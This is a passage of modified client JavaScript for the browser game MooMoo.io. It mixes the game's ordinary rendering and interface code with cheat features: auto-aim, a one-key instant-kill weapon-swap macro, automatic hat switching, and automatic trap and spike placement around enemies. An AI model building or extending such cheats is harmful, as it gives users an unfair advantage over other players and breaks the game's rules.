ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 ? 21 : 11);
clickTimer[tank].vel = true;
setTimeout(function(){
Equip(6, 11), oldShit.a = 50, oldShit.b = 11;
clickTimer[tank].vel = false;
clickTimer[tank].date = Date.now();
clickTimer[every].date = Date.now();
r.send(7, 21);
},120)
} else if(Tb == 0) {
r.send(7, 21);
s.getDistance(ntE[1], ntE[2], R.x, R.y) <=
l.weapons[R.weaponIndex].range+35 && (autoaim = true);
Equip(7, nEs.length ? 21 : 0);
clickTimer[bull].vel = true;
setTimeout(function(){
Equip(nEs.length ? secondaryReload[ntE[0]] == 1
&& s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 +
(MM(R) * 2) ? 6 : biomeeval(21)[0] : 6, nEs.length ? 21 : 0);
nEs.length ? secondaryReload[ntE[0]] == 1 &&
s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 +
(MM(R) * 2) ? (oldShit.a = 6, oldShit.b = 21) : (oldShit.a = biomeeval(21)[0],
oldShit.b = 21) : (oldShit.a = 6, oldShit.b = 0);
autoaim = false;
clickTimer[bull].vel = false;
clickTimer[bull].date = Date.now();
clickTimer[every].date = Date.now();
r.send(7, 1);
},120)
}
}
} else {
return;
}
}
}
}
window.addEventListener("keydown", s.checkTrusted((function(e) {
var t = e.which || e.keyCode || 0;
document.activeElement.id.toLowerCase() !== 'chatbox' && 78 == t ?
(Mill.z = !Mill.z, Mill.z && (Mill = {y: R.y2, x: R.x2, z: true, k: Math.atan2(R.y1
- R.y2, R.x1 - R.x2)})) : 27 == t ? Qt() : R && R.alive && kn() && (gn[t] || (gn[t]
= 1,

69 == t ? r.send("7", 1) : 67 == t ? (Mt || (Mt = {}),

Mt.x = R.x,

Mt.y = R.y) : 88 == t ? (R.lockDir = R.lockDir ? 0 : 1,

r.send("7", 0)) : null != R.weapons[t - 49] ? Sn(R.weapons[t - 49], !0) : null !=


R.items[t - 49 - R.weapons.length] ? Sn(R.items[t - 49 - R.weapons.length]) : 81 ==
t ? Sn(R.items[0]) : 82 == t ? fuck() : mn[t] ? bn() : 32 == t && (O = 1,
vn(e))))
}
))),
window.addEventListener("keyup", s.checkTrusted((function(e) {
if (R && R.alive) {
var t = e.which || e.keyCode || 0;
13 == t ? rn() : kn() && gn[t] && (gn[t] = 0,
mn[t] ? bn() : 32 == t && (O = 0,

vn(e)))
}
}
)));
var wn = void 0;
function bn() {
var e = function() {
var e = 0
, t = 0;
if (-1 != re.id)
e += re.currentX - re.startX,
t += re.currentY - re.startY;
else
for (var n in mn) {
var i = mn[n];
e += !!gn[n] * i[0],
t += !!gn[n] * i[1]
}
return 0 == e && 0 == t ? void 0 : s.fixTo(Math.atan2(t, e), 2)
}();
(null == wn || null == e || Math.abs(e - wn) > .3) && (r.send("33", e),
wn = e)
}
let instaTime = null;
let nowKills;
let lastCoords = null;
let killed = false;
let rod = false;
let lastSid = null;
async function xn() {
nowKills = R.kills;
lastSid = nEy.sid;
itp.insta = true;
lastCoords = Math.atan2(ntE[2] - R.y, ntE[1] - R.x);
trapaim = true;
R.weaponIndex == R.weapons[0] ? null : Sn(R.weapons[0], 1);
R.weapons[0] == 5 ? null : [7, 17, 31, 23, 10, 38, 4, 15].forEach(e =>
r.send("6", e));
autoaim = true;
Equip(7, 21);
r.send("c", 1);
await nextTick();
autoaim = true;
r.send("c", 1);
R.weaponIndex == R.weapons[1] ? null : Sn(R.weapons[1], 1);
Equip(53, 11);
await nextTick();
itp.vis ? R.weaponIndex == R.weapons[1] ? Sn(R.weapons[0], 1) : null :
null;
autoaim = false;
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <= 300 ||
secondaryReload[ntE[0]] == 1) {
[0, 21, 11].includes(R.tailIndex) && (Equip(6, 11)), oldShit.a = 6,
oldShit.b = R.tailIndex;
} else {
biome(11), oldShit.a = biomeeval(11)[0], oldShit.b = 11;//
Equip(7, 21); lf dont work | biome(11), oldShit.a =
biomeeval(11)[0], oldShit.b = 11;
}
nowKills < R.kills ? (killed = true, rod = false, lastCoords =
lastCoords, setTimeout(function() {killed = false, rod = true}, 650),
setTimeout(function() {rod = false}, 895)) : (killed = false, setTimeout(function()
{lastCoords = null}, 650 - 250), rod = false);
r.send('c', 0);
instaTime = Date.now();
itp.insta = false;
trapaim = true;
}
function Sn(e, t) {
r.send("5", e, t)
}
function Tn() {
I("moo_name", Le.value),
!le && r.connected && (le = !0,
x.stop("menu"),
dt("wait"),
r.send("sp", {
name: Le.value,
moofoll: H,
skin: ae
}))
}
var In = !0;
function En(e) {
Pe.style.display = "none",
Me.style.display = "block",
he.style.display = "none",
gn = {},
j = e,
O = 0,
le = !0,
In && (In = !1,
N.length = 0)
}
function Mn(e, t, n, i) {
m.showText(e, t, 50, .18, 2000, Math.abs(n), n >= 0 ? "#fff" : "#fff")
}
var An = 99999;
function Pn() {
le = !1;
if(itp.vis) itp.vis = false, itp.sid = 1/0, biome(11), r.send("c", 0),
trapaim = false, autoaim = false;
try {
factorem.refreshAds([2], !0)
} catch (e) {}
Be.style.display = "none",
Qt(),
It = {
x: R.x,
y: R.y
},
Pe.style.display = "none",
Ge.style.display = "block",
Ge.style.fontSize = "0px",
An = 0,
setTimeout((function() {
Me.style.display = "block",
he.style.display = "block",
Ge.style.display = "none"
}
), o.deathFadeout),
gt()
}
let getPosData;
function Bn(e) {
R && (nt.removeAllItems(e), getPosData = e, setTimeout(function()
{getPosData = null}, 500));
}
function Cn(e) {
for(let i = 0; i < N.length; i++) {
if(N[i].sid === e) {
if(itp.sid === e && itp.vis) {
itp.vis = !1,itp.sid = Infinity,itp.x = void 0,itp.y = void
0,r.send("c", 0),r.send("2", pn()),hit.in = 0,hit.p = false,trapaim = false,
hit.out = 0;
if(!nEs.length) {
R.weapons[1] == 10 ? Sn(R.weapons[1], 1) :
Sn(R.weapons[0], 1);
biome(11);
oldShit.a = biomeeval(11)[0], oldShit.b = 11;
trs(R.items[4]), hit.p = false;
} else {
let ta = (50 + sIt(ntE[1], ntE[2], N)) + 47 + 85;
if(checkConstant() != undefined && checkConstant()[1]) {
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <= ta) {
for(let i = 0;i < 24; i++){
let a =
i*4*(i%2?-1:1)/180*Math.PI+Math.atan2(ntE[2] - R.y, ntE[1] - R.x);
Sn(R.items[2]), r.send("c", 1,
a),r.send("c", 0, a),Sn(R.weaponIndex, 1)
}
[4, 5].includes(R.weapons[0]) ? (biome(21),
oldShit.a = biomeeval(21)[0], oldShit.b = 21) : Equip(6, 11);
} else {
Equip(6, 11);
oldShit.a = 6, oldShit.b = 11;
pAsa(R.items[4], [45, 315], Math.atan2(ntE[2] -
R.y, ntE[1] - R.x));
pAsa(R.items[3], [130, 260], Math.atan2(ntE[2] -
R.y, ntE[1] - R.x));
}
} else {
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <=
l.weapons[ntE[5]].range + 35) {
Equip(6, 11);
oldShit.a = 6, oldShit.b = 11;
place(R.items[2], Math.atan2(ntE[2] - R.y,
ntE[1] - R.x));
Date.now() - heal.delay <= 181 &&
(place(R.items[0]));
} else {
biome(11);
oldShit.a = biomeeval(11)[0], oldShit.b = 11;
trs(R.items[4]), hit.p = false;
}
}
}
} else {
if(itp.vis) {
let ta = (50 + sIt(R.x, R.y, N)) + 85;
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <= ta) {
place(R.items[4], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x));
} else if(s.getDistance(ntE[1], ntE[2], R.x, R.y) > ta
&& s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35)
{
trs(R.items[3]), hit.p = false;
} else {
hit.p = false, trapSupport();
}
} else {
if(nEs.length) {
if(checkConstant() != undefined && !checkConstant()
[1] && s.getDistance(ntE[1], ntE[2], R.x, R.y) <= Math.trunc(
ntE[5] == 5 ? l.weapons[R.weaponIndex].range *
1.5 : ntE[5] == 4 ? l.weapons[R.weaponIndex].range * 1.75 :
l.weapons[R.weaponIndex].range * 2)
) {
Hq(R.items[2], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 45) ? null : Hq(R.items[4], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 45) ? null : Hq(R.items[3], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 45);
Hq(R.items[2], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 315) ? null : Hq(R.items[4], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 315) ? null : Hq(R.items[3], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 315);
pAsa(R.items[4], [130, 260], Math.atan2(ntE[2] -
R.y, ntE[1] - R.x));
} else {
if(s.getDistance(ntE[1], ntE[2], R.x, R.y) <= 95
&& checkConstant() != undefined && checkConstant()[1] && Date.now() -
clickTimer[every].date > 600 && Date.now() - instaTime > 850) {
place(R.items[4], Math.atan2(ntE[2] - R.y,
ntE[1] - R.x));
} else {
if(s.getDistance(ntE[1], ntE[2], R.x, R.y)
<= l.weapons[R.weaponIndex].range + 35 && Date.now() - clickTimer[every].date <
400) {
pAsa(R.items[2], [45, 315],
Math.atan2(ntE[2] - R.y, ntE[1] - R.x));
pAsa(R.items[4], [130, 260],
Math.atan2(ntE[2] - R.y, ntE[1] - R.x));
} else {
trs(R.items[4]), hit.p = false;
}
}
}
}
}
}
nt.disableObj(N[i]);
}
}
}
function On() {
Oe.innerText = R.points,
Re.innerText = R.food,
je.innerText = R.wood,
_e.innerText = R.stone,
Ue.innerText = R.kills
}
var Rn = {}
, jn = ["crown", "skull"]
, _n = [];
function Un(e, t) {
if (R.upgradePoints = e,
R.upgrAge = t,
e > 0) {
_n.length = 0,
s.removeAllChildren(Ve);
for (var n = 0; n < l.weapons.length; ++n)
l.weapons[n].age == t && (null == l.weapons[n].pre ||
R.weapons.indexOf(l.weapons[n].pre) >= 0) && (s.generateElement({
id: "upgradeItem" + n,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).style.backgroundImage =
document.getElementById("actionBarItem" + n).style.backgroundImage,

_n.push(n));
for (n = 0; n < l.list.length; ++n)
if (l.list[n].age == t && (null == l.list[n].pre ||
R.items.indexOf(l.list[n].pre) >= 0)) {
var i = l.weapons.length + n;
s.generateElement({
id: "upgradeItem" + i,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).style.backgroundImage =
document.getElementById("actionBarItem" + i).style.backgroundImage,
_n.push(i)
}
for (n = 0; n < _n.length; n++)
!function(e) {
var t = document.getElementById("upgradeItem" + e);
t.onmouseover = function() {
l.weapons[e] ? Tt(l.weapons[e], !0) : Tt(l.list[e -
l.weapons.length])
}
,
t.onclick = s.checkTrusted((function() {
r.send("6", e)
}
)),
s.hookTouchEvents(t)
}(_n[n]);
_n.length ? (Ve.style.display = "block",
qe.style.display = "block",
qe.innerHTML = "" + e + "") : (Ve.style.display =
"none",

qe.style.display = "none",
Tt())
} else
Ve.style.display = "none",
qe.style.display = "none",
Tt()
}
function Dn(e, t, n) {
null != e && (R.XP = e),
null != t && (R.maxXP = t),
null != n && (R.age = n),
n == o.maxAge ? (ze.innerHTML = "MAX AGE",
He.style.width = "0%") : (ze.innerHTML = "" +
R.age,
He.style.width = R.XP /
R.maxXP * 0 + "%")
}
function Ln(e) {
s.removeAllChildren(De);
for (var t = 1, n = 0; n < e.length; n += 3)
!function(n) {
s.generateElement({
class: "leaderHolder",
parent: De,
children: [s.generateElement({
class: "leaderboardItem",
style: "color:" + (e[n] == j ? "white" : "rgba(250, 250,
250)"),
text: t + ". " + ("" != e[n + 1] ? e[n + 1] : "unknown")
}), s.generateElement({
class: "leaderScore",
text: s.kFormat(e[n + 2]) || "0"
})]
})
}(n),
t++
}
function Fn(e, t, n, i) {
be.save(),
be.setTransform(1, 0, 0, 1, 0, 0),
be.scale(V, V);
var r = 50;
be.beginPath(),
be.arc(e, t, r, 0, 2 * Math.PI, !1),
be.closePath(),
be.fillStyle = "rgba(255, 255, 255, 0.3)",
be.fill(),
r = 50;
var s = n - e
, a = i - t
, o = Math.sqrt(Math.pow(s, 2) + Math.pow(a, 2))
, c = o > r ? o / r : 1;
s /= c,
a /= c,
be.beginPath(),
be.arc(e + s, t + a, .5 * r, 0, 2 * Math.PI, !1),
be.closePath(),
be.fillStyle = "white",
be.fill(),
be.restore()
}
function zn(e, t, n) {
for (var i = 0; i < G.length; ++i)
(_ = G[i]).active && _.layer == e && (_.update(P),
_.active && ki(_.x - t, _.y -
n, _.scale) && (be.save(),

be.translate(_.x - t, _.y - n),

be.rotate(_.dir),

Vn(0, 0, _, be, 1),

be.restore()))
}
var Hn = {};
function Vn(e, t, n, i, r) {
if (n.src) {
var s = l.projectiles[n.indx].src
, a = Hn[s];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + s + ".png",
Hn[s] = a),
a.isLoaded && i.drawImage(a, e - n.scale / 2, t - n.scale / 2,
n.scale, n.scale)
} else
1 == n.indx && (i.fillStyle = "#939393",
si(e, t, n.scale, i))
}
function qn(e, t, n, i) {
var r = o.riverWidth + i
, s = o.mapScale / 2 - t - r / 2;
s < ce && s + r > 0 && n.fillRect(0, s, oe, r)
}
function Yn(e, t, n) {
for (var i, r, s, a = 0; a < N.length; ++a)
(_ = N[a]).active && (r = _.x + _.xWiggle - t,
s = _.y + _.yWiggle - n,
0 == e && _.update(P),
_.layer == e && ki(r, s, _.scale + (_.blocker
|| 0)) && (be.globalAlpha = _.hideFromEnemy ? .6 : 1,

_.isItem ? (i = ri(_),

be.save(),

be.translate(r, s),

!(["windmill", "faster windmill", "power mill"].includes(_.name)) && _.owner.sid !=


R.sid && _.dir < 9e14 && be.rotate(_.dir),

be.drawImage(i, -i.width / 2, -i.height / 2),

_.blocker && (be.strokeStyle = "black",

be.globalAlpha = .3,

be.lineWidth = 6,

si(0, 0, _.blocker, be, !1, !0)),

be.restore(), R && _ && W && _.owner && _.owner.sid != R.sid && (!R.team ||
((W.find(c => c.sid == _.owner.sid)) && (W.find(c => c.sid == _.owner.sid)).team !=
R.team) || !(W.find(c => c.sid == _.owner.sid))) && _.active && _.isItem && _.name
=== "pit trap" && Math.hypot(_.x - R.x, _.y - R.y) <= 85 && (itp.x = _.x, itp.y =
_.y, itp.sid = _.sid, itp.health = _.health, itp.vis = !0, (!nEs.length ?
trs(R.items[4]) : trapSupport())),

itp.vis && Math.hypot(itp.x - R.x, itp.y - R.y) >= 86 && (itp.sid = Infinity,
itp.vis = !1, itp.x = void 0, itp.y = void 0, trapaim = false, hit.p = false,
hit.in = 0, hit.out = 0, Hg(6, 11))) : (i = ni(_),

be.drawImage(i, r - i.width / 2, s - i.height / 2))))


}
let binfo;
function getBuildDmgInfo(_, n) {
return [l.weapons[n].dmg * (n == 10 ? 7.5 : 1) * (_.skinIndex == 40 ?
3.3 : 1), l.weapons[n].range, l.weapons[R.weaponIndex].dmg * (R.skinIndex == 7 ?
1.5 : R.skinIndex == 55 ? 1.2 : 1) * (R.tailIndex == 11 ? 0.2 : 1)];
}
lists.l = l;
function Wn(e, t, n) {
(_ = Ii(e)) && (_.startAnim(t, n), [10, 14].includes(n) ? setTimeout(()
=> { secondaryReload[e] = 0 }) : setTimeout(() => { primaryReload[e] = 0 }), binfo
= getBuildDmgInfo(_, n));
hitBuilds(binfo);
}
function hitBuilds(weapon) {
weapon = { dmg: weapon[0], range: weapon[1] }
lists.objects.forEach(obj => {
if (obj.hit) {
obj.health -= weapon.dmg;
obj.hit = false;
}
});
}
let ae86Dir = true;
function Xn(e, t, n) {
be.globalAlpha = 1;
for (var i = 0; i < W.length; ++i)
(_ = W[i]).zIndex == n && (_.animate(P),
_.visible && (_.skinRot += .002 * P,
L = (_ == R ? (ae86Dir) ?
R.dir : AA ? nEA : LT ? TD : pn() : _.dir) + _.dirPlus,
be.save(),
be.translate(_.x - e, _.y -
t),
be.rotate(L),
Nn(_, be),
be.restore()))
}//kto dont chnag it cuz ur aim breaking autobreak

function spn(){
if(spin.angle > 6.2831853036) spin.angle = 0;
spin.angle += spin.degree * 0.01745329251;
return spin.angle;
}
function angleRotation(d, s, i) {//now direction, searched direction, index.
let dif = Math.abs(d - s);
let sld;
dif = dif % (Math.PI*2);
if(dif > Math.PI){
dif = (Math.PI*2) - dif;
}
sld = d;
sld += Math.round(dif/i);
/*
if(Math.abs(s - sld) < 0.2 || Math.abs(s - sld) > 0.2) {
return s;
} else {
*/
return sld;
}
function isElementVisible(e) {
return (e.offsetParent !== null);
}
function toRad(e) {
return e * 0.01745329251;
}
function place(u, t = pn()) {
Sn(u), r.send("c", 1, t), r.send("c", 0, t), Sn(R.weaponIndex, 1);
}
function Nn(e, t) {
(t = t || be).lineWidth = 5.5,
t.lineJoin = "miter";
var n = Math.PI / 4 * (l.weapons[e.weaponIndex].armS || 1)
, i = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndS || 1
, r = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndD || 1;
if (e.tailIndex > 0 && function(e, t, n) {
if (!(Gn = Qn[e])) {
var i = new Image;
i.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
i.src = ".././img/accessories/access_" + e + ".png",
Qn[e] = i,
Gn = i
}
var r = $n[e];
if (!r) {
for (var s = 0; s < tt.length; ++s)
if (tt[s].id == e) {
r = tt[s];
break
}
$n[e] = r
}
Gn.isLoaded && (t.save(),
t.translate(-20 - (r.xOff || 0), 0),
r.spin && t.rotate(n.skinRot),
t.drawImage(Gn, -r.scale / 2, -r.scale / 2, r.scale,
r.scale),
t.restore())
}(e.tailIndex, t, e),
e.buildIndex < 0 && !l.weapons[e.weaponIndex].aboveHand &&
(ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0,
t),
null ==
l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex].hideProjectile ||
Vn(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile], be)),
t.fillStyle = o.skinColors[e.skinColor],
si(e.scale * Math.cos(n), e.scale * Math.sin(n), 14),
si(e.scale * r * Math.cos(-n * i), e.scale * r * Math.sin(-n * i),
14),
e.buildIndex < 0 && l.weapons[e.weaponIndex].aboveHand &&
(ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0,
t),
null ==
l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex].hideProjectile ||
Vn(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile], be)),
e.buildIndex >= 0) {
var s = ri(l.list[e.buildIndex]);
t.drawImage(s, e.scale - l.list[e.buildIndex].holdOffset, -s.width /
2)
}
si(0, 0, e.scale, t),
e.skinIndex > 0 && (t.rotate(Math.PI / 2),
function e(t, n, i, r) {
if (!(Gn = Jn[t])) {
var s = new Image;
s.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
s.src = ".././img/hats/hat_" + t + ".png",
Jn[t] = s,
Gn = s
}
var a = i || Kn[t];
if (!a) {
for (var o = 0; o < et.length; ++o)
if (et[o].id == t) {
a = et[o];
break
}
Kn[t] = a
}
Gn.isLoaded && n.drawImage(Gn, -a.scale / 2, -a.scale / 2, a.scale,
a.scale),
!i && a.topSprite && (n.save(),
n.rotate(r.skinRot),
e(t + "_top", n, a, r),
n.restore())
}(e.skinIndex, t, null, e))
}
var Gn, Jn = {}, Kn = {}, Qn = {}, $n = {}, Zn = {};
function ei(e, t, n, i, r) {
var s = e.src + (t || "")
, a = Zn[s];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + s + ".png",
Zn[s] = a),
a.isLoaded && r.drawImage(a, n + e.xOff - e.length / 2, i + e.yOff -
e.width / 2, e.length, e.width)
}
var ti = {};
function ni(e) {
var t = e.y >= o.mapScale - o.snowBiomeTop ? 2 : e.y <= o.snowBiomeTop ?
1 : 0
, n = e.type + "_" + e.scale + "_" + t
, i = ti[n];
if (!i) {
var r = document.createElement("canvas");
r.width = r.height = 2.1 * e.scale + 5.5;
var a = r.getContext("2d");
if (a.translate(r.width / 2, r.height / 2),
a.rotate(s.randFloat(0, Math.PI)),
a.strokeStyle = it,
a.lineWidth = 5.5,
0 == e.type)
for (var c, l = 0; l < 2; ++l)
ai(a, 7, c = _.scale * (l ? .5 : 1), .7 * c),
a.fillStyle = t ? l ? "#fff" : "#e3f1f4" : l ? "#b4db62"
: "#9ebf57",
a.fill(),
l || a.stroke();
else if (1 == e.type)
if (2 == t)
a.fillStyle = "#606060",
ai(a, 6, .3 * e.scale, .71 * e.scale),
a.fill(),
a.stroke(),
a.fillStyle = "#89a54c",
si(0, 0, .55 * e.scale, a),
a.fillStyle = "#a5c65b",
si(0, 0, .3 * e.scale, a, !0);
else {
var h;
!function(e, t, n, i) {
var r, a = Math.PI / 2 * 3, o = Math.PI / 6;
e.beginPath(),
e.moveTo(0, -i);
for (var c = 0; c < 6; c++)
r = s.randInt(n + .9, 1.2 * n),
e.quadraticCurveTo(Math.cos(a + o) * r,
Math.sin(a + o) * r, Math.cos(a + 2 * o) * i, Math.sin(a + 2 * o) * i),
a += 2 * o;
e.lineTo(0, -i),
e.closePath()
}(a, 0, _.scale, .7 * _.scale),
a.fillStyle = t ? "#e3f1f4" : "#89a54c",
a.fill(),
a.stroke(),
a.fillStyle = t ? "#6a64af" : "#c15555";
var u = T / 4;
for (l = 0; l < 4; ++l)
si((h = s.randInt(_.scale / 3.5, _.scale / 2.3)) *
Math.cos(u * l), h * Math.sin(u * l), s.randInt(10, 12), a)
}
else
2 != e.type && 3 != e.type || (a.fillStyle = 2 == e.type ? 2 ==
t ? "#938d77" : "#939393" : "#e0c655",
ai(a, 3, e.scale, e.scale),
a.fill(),
a.stroke(),
a.fillStyle = 2 == e.type ? 2 ==
t ? "#b2ab90" : "#bcbcbc" : "#ebdca3",
ai(a, 3, .55 * e.scale, .65 *
e.scale),
a.fill());
i = r,
ti[n] = i
}
return i
}
function biome(q) {
let Qs = R.y2*1.5-R.y/2;
Jt(0, 1);
if(Qs < 2400){
Equip(6, 11);
}else if(Qs > 6850 && Qs < 7550){
Equip(6, 11);
}else{
Equip(6, 11);
}
}
function Equip(e, t) {
hasBought(e, "skins") ? (Jt(e, 0), hasBought(t, "tails") ? (Jt(0, 1),
Jt(t, 1)) : (Kt(t, 1), Jt(0, 1), Jt(t, 1))) : (Kt(e, 0), Jt(e, 0), hasBought(t,
"tails") ? (Jt(0, 1), Jt(t, 1)) : Jt(0, 1));
}
function hasBought(e, t) {
if(R[t][e] != undefined) {
return true
} else {
return false;
}
}
function fuck() {
let s = setInterval(async () => {
await (primaryReload[R.sid] == 1 && secondaryReload[R.sid] == 1);
await nextTick();
xn();
clearInterval(s);
});
}
function biomeeval(q) {
let Qs = R.y2*1.5-R.y/2;
if(Qs < 2400){
return [6, 11];
}else if(Qs > 6850 && Qs < 7550){
return [6, 11];
}else{
return [6, 11];
}
}
async function trapSupport() {
if(hit.p != true) {
if(!nEs.length) {
aT(R.items[4], R.items[4]), hit.p = true;
} else {
if(Date.now() - heal.delay < 300 || (checkConstant() !=
undefined && checkConstant()[1] && s.getDistance(ntE[1], ntE[2], R.x, R.y) <=
l.weapons[R.weaponIndex].range * 2)) {
aT(R.items[3], R.items[4]), hit.p = true;
} else {
aT(R.items[2], R.items[4]), hit.p = true;
}
}
}
}
function pAsa(r, d, a, e = place) {
for(let i = d[0]; i <= 360; i *= Math.round(d[d.length-1]/d[0])) {
e(r, Math.atan2(ntE[2] - R.y, ntE[1] - R.x) + toRad(1) * i);
}
}
function trs(t) {
if(hit.p != true) {
for (let i = 0; i <= 360; i += 10) {
Hq(t, Math.atan2(ntE[2] - R.y, ntE[1] - R.x) + toRad(1) * i),
hit.p = true;
}
}
}
var ii = [];
function ri(e, t) {
var n = ii[e.id];
if (!n || t) {
var i = document.createElement("canvas");
i.width = i.height = 2.5 * e.scale + 5.5 +
(l.list[e.id].spritePadding || 0);
var r = i.getContext("2d");
if (r.translate(i.width / 2, i.height / 2),
r.rotate(t ? 0 : Math.PI / 2),
r.strokeStyle = it,
r.lineWidth = 5.5 * (t ? i.width / 81 : 1),
"apple" == e.name) {
r.fillStyle = "#c15555",
si(0, 0, e.scale, r),
r.fillStyle = "#89a54c";
var a = -Math.PI / 2;
!function(e, t, n, i, r) {
var s = e + 25 * Math.cos(i)
, a = t + 25 * Math.sin(i);
r.moveTo(e, t),
r.beginPath(),
r.quadraticCurveTo((e + s) / 2 + 10 * Math.cos(i +
Math.PI / 2), (t + a) / 2 + 10 * Math.sin(i + Math.PI / 2), s, a),
r.quadraticCurveTo((e + s) / 2 - 10 * Math.cos(i +
Math.PI / 2), (t + a) / 2 - 10 * Math.sin(i + Math.PI / 2), e, t),
r.closePath(),
r.fill(),
r.stroke()
}(e.scale * Math.cos(a), e.scale * Math.sin(a), 0, a + Math.PI /
2, r)
} else if ("cookie" == e.name) {
r.fillStyle = "#cca861",
si(0, 0, e.scale, r),
r.fillStyle = "#937c4b";
for (var o = T / (h = 4), c = 0; c < h; ++c)
si((u = s.randInt(e.scale / 2.5, e.scale / 1.7)) *
Math.cos(o * c), u * Math.sin(o * c), s.randInt(4, 5), r, !0)
} else if ("cheese" == e.name) {
var h, u;
for (r.fillStyle = "#f4f3ac",
si(0, 0, e.scale, r),
r.fillStyle = "#c3c28b",
o = T / (h = 4),
c = 0; c < h; ++c)
si((u = s.randInt(e.scale / 2.5, e.scale / 1.7)) *
Math.cos(o * c), u * Math.sin(o * c), s.randInt(4, 5), r, !0)
} else if ("wood wall" == e.name || "stone wall" == e.name ||
"castle wall" == e.name) {
r.fillStyle = "castle wall" == e.name ? "#83898e" : "wood wall"
== e.name ? "#a5974c" : "#939393";
var f = "castle wall" == e.name ? 4 : 3;
ai(r, f, 1.1 * e.scale, 1.1 * e.scale),
r.fill(),
r.stroke(),
r.fillStyle = "castle wall" == e.name ? "#9da4aa" : "wood
wall" == e.name ? "#c9b758" : "#bcbcbc",
ai(r, f, .65 * e.scale, .65 * e.scale),
r.fill()
} else if ("spikes" == e.name || "greater spikes" == e.name ||
"poison spikes" == e.name || "spinning spikes" == e.name) {
r.fillStyle = "poison spikes" == e.name ? "#7b935d" : "#939393";
var d = .6 * e.scale;
ai(r, "spikes" == e.name ? 5 : 6, e.scale, d),
r.fill(),
r.stroke(),
r.fillStyle = "#a5974c",
si(0, 0, d, r),
r.fillStyle = "#c9b758",
si(0, 0, d / 2, r, !0)
} else if ("windmill" == e.name || "faster windmill" ==
e.name || "power mill" == e.name) r.fillStyle = "#a5974c", si(0, 0, e.scale, r),
r.fillStyle = "#c9b758", ci(0, 0, 1.5 * e.scale, 29, 4, r), r.fillStyle =
"#a5974c", si(0, 0, .5 * e.scale, r);
else if ("mine" == e.name)
r.fillStyle = "#939393",
ai(r, 3, e.scale, e.scale),
r.fill(),
r.stroke(),
r.fillStyle = "#bcbcbc",
ai(r, 3, .55 * e.scale, .65 * e.scale),
r.fill();
else if ("sapling" == e.name)
for (c = 0; c < 2; ++c)
ai(r, 7, d = e.scale * (c ? .5 : 1), .7 * d),
r.fillStyle = c ? "#b4db62" : "#9ebf57",
r.fill(),
c || r.stroke();
else if ("pit trap" == e.name)
r.fillStyle = "#a5974c",
ai(r, 3, 1.1 * e.scale, 1.1 * e.scale),
r.fill(),
r.stroke(),
r.fillStyle = it,
ai(r, 3, .65 * e.scale, .65 * e.scale),
r.fill();
else if ("boost pad" == e.name)
r.fillStyle = "#7e7f82",
oi(0, 0, 2 * e.scale, 2 * e.scale, r),
r.fill(),
r.stroke(),
r.fillStyle = "#dbd97d",
function(e, t) {
t = t || be;
var n = e * (Math.sqrt(3) / 2);
t.beginPath(),
t.moveTo(0, -n / 2),
t.lineTo(-e / 2, n / 2),
t.lineTo(e / 2, n / 2),
t.lineTo(0, -n / 2),
t.fill(),
t.closePath()
}(1 * e.scale, r);
else if ("turret" == e.name)
r.fillStyle = "#a5974c",
si(0, 0, e.scale, r),
r.fill(),
r.stroke(),
r.fillStyle = "#939393",
oi(0, -25, .9 * e.scale, 50, r),
si(0, 0, .6 * e.scale, r),
r.fill(),
r.stroke();
else if ("platform" == e.name) {
r.fillStyle = "#cebd5f";
var p = 2 * e.scale
, g = p / 4
, m = -e.scale / 2;
for (c = 0; c < 4; ++c)
oi(m - g / 2, 0, g, 2 * e.scale, r),
r.fill(),
r.stroke(),
m += p / 4
} else
"healing pad" == e.name ? (r.fillStyle = "#7e7f82",
oi(0, 0, 2 * e.scale, 2 * e.scale,
r),
r.fill(),
r.stroke(),
r.fillStyle = "#db6e6e",
ci(0, 0, .65 * e.scale, 20, 4, r, !
0)) : "spawn pad" == e.name ? (r.fillStyle = "#7e7f82",

oi(0, 0, 2 * e.scale, 2 * e.scale, r),

r.fill(),

r.stroke(),

r.fillStyle = "#71aad6",

si(0, 0, .6 * e.scale, r)) : "blocker" == e.name ? (r.fillStyle = "#7e7f82",

si(0, 0, e.scale, r),

r.fill(),

r.stroke(),

r.rotate(Math.PI / 4),

r.fillStyle = "#db6e6e",

ci(0, 0, .65 * e.scale, 20, 4, r, !0)) : "teleporter" == e.name && (r.fillStyle =


"#7e7f82",

si(0, 0, e.scale, r),

r.fill(),

r.stroke(),
r.rotate(Math.PI / 4),

r.fillStyle = "#d76edb",

si(0, 0, .5 * e.scale, r, !0));


n = i,
t || (ii[e.id] = n)
}
return n
}
if(autoPush && nEs.length && eNS.all && fgd(Ii(nEy[0]), R) > 40
